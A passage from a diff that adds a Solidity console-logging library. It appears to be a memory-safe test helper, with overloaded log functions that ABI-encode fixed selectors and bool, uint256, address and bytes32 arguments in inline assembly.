+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,bool,address)`.
+            mstore(0x00, 0x1078f68d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,bool,bool)`.
+            mstore(0x00, 0x50709698)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,bool,uint256)`.
+            mstore(0x00, 0x12f21602)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,bool,string)`.
+            mstore(0x00, 0x2555fa46)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,uint256,address)`.
+            mstore(0x00, 0x088ef9d2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,uint256,bool)`.
+            mstore(0x00, 0xe8defba9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,uint256,uint256)`.
+            mstore(0x00, 0x37103367)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,uint256,string)`.
+            mstore(0x00, 0xc3fc3970)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,string,address)`.
+            mstore(0x00, 0x9591b953)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,string,bool)`.
+            mstore(0x00, 0xdbb4c247)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,string,uint256)`.
+            mstore(0x00, 0x1093ee11)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(bool,string,string)`.
+            mstore(0x00, 0xb076847f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p1)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,address,address)`.
+            mstore(0x00, 0xbcfd9be0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,address,bool)`.
+            mstore(0x00, 0x9b6ec042)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,address,uint256)`.
+            mstore(0x00, 0x5a9b5ed5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,address,string)`.
+            mstore(0x00, 0x63cb41f9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,bool,address)`.
+            mstore(0x00, 0x35085f7b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,bool,bool)`.
+            mstore(0x00, 0x20718650)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,bool,uint256)`.
+            mstore(0x00, 0x20098014)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,bool,string)`.
+            mstore(0x00, 0x85775021)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,uint256,address)`.
+            mstore(0x00, 0x5c96b331)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,uint256,bool)`.
+            mstore(0x00, 0x4766da72)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,uint256,uint256)`.
+            mstore(0x00, 0xd1ed7a3c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,uint256,string)`.
+            mstore(0x00, 0x71d04af2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,string,address)`.
+            mstore(0x00, 0x7afac959)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,string,bool)`.
+            mstore(0x00, 0x4ceda75a)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,string,uint256)`.
+            mstore(0x00, 0x37aa7d4c)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(uint256,string,string)`.
+            mstore(0x00, 0xb115611f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p1)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,address,address)`.
+            mstore(0x00, 0xfcec75e0)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,address,bool)`.
+            mstore(0x00, 0xc91d5ed4)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,address,uint256)`.
+            mstore(0x00, 0x0d26b925)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,address,string)`.
+            mstore(0x00, 0xe0e9ad4f)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p0)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
